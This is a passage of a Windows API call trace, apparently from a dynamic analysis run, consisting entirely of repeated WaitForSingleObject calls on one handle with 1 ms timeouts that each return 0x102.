(hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.738] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.751] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.767] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.788] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.803] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.814] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.830] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.845] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.861] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.876] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.893] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.911] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.939] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0050.986] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.001] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.017] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.033] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.048] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.063] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.079] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.095] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.110] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.126] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.142] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.188] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.236] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.251] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.266] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.285] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.307] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.313] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.330] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.344] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.360] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.377] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.391] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.407] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.423] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.438] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.453] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.473] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.488] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.500] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.517] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.532] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.548] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.564] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.579] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.594] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.611] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.625] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.641] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.657] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.672] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.688] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.704] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.719] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.734] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.751] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.765] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.781] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.798] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.812] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.828] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.844] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.859] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.875] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.890] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.906] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.921] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.937] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.953] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.968] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0051.984] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.000] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.015] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.031] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.047] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.133] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.140] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.171] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.187] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.202] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.218] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.234] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.249] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.564] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.586] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.592] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.608] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.623] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.686] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.701] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.718] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.734] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.750] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.764] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.781] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.795] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.811] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.826] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.842] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.857] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.881] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.889] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.904] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.921] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.936] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.953] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.967] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0052.982] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.007] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.019] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.268] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.281] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.374] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.395] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.404] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.419] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.438] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.450] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.466] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.483] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.497] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.513] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.530] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.544] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.563] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.577] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.590] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.606] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.653] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.671] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.684] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.700] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0053.720] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.697] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.713] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.728] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.744] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.759] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.775] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.792] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.806] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.823] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.837] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.853] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.870] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.885] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.900] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.924] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.932] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0055.986] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.001] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.013] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.029] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.044] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.056] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.078] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.098] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.105] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.122] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.134] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.170] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.181] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.208] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.237] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.243] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.290] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.331] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.342] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.360] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.382] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.383] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.399] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.445] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.468] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.486] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.500] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.508] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.526] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.587] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.614] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.658] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.670] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.713] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.742] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.773] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.820] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.878] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.894] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.904] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.929] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0056.990] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.024] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.039] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.058] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.074] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.116] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.163] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.184] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.207] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.211] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.225] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.291] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.397] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.413] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.429] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.444] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.465] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.475] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.497] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.522] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.569] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.619] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.662] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.709] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.727] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.744] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.763] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.781] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.802] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.805] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.819] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.835] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.849] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.886] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.899] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.921] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.950] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.959] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0057.988] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.039] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.064] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.083] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.104] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.130] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.171] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.208] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.225] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.256] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.296] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.333] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.380] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.413] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.515] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.520] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.551] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.587] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.631] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.655] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.667] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.687] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.707] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.754] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.788] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.832] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.853] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.879] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.906] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.911] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.949] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.960] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0058.974] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.007] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.034] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0059.038] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0060.755] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.617] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.709] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.799] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.865] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.927] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.962] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0062.996] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.000] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.300] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.329] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.349] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.361] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.373] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.421] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.477] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.486] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.530] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.610] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.859] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.888] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0063.920] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.245] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.304] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.331] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.340] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.360] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.377] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.392] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.418] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.440] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.459] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.518] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.535] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.546] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.582] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.622] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.662] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.682] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.700] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.756] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.763] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.808] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.851] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.885] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.948] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0064.994] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.036] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.115] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.150] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.172] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.210] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.225] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.252] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.264] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.291] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.327] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.350] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x1) returned 0x102 [0065.371] WaitForSingleObject 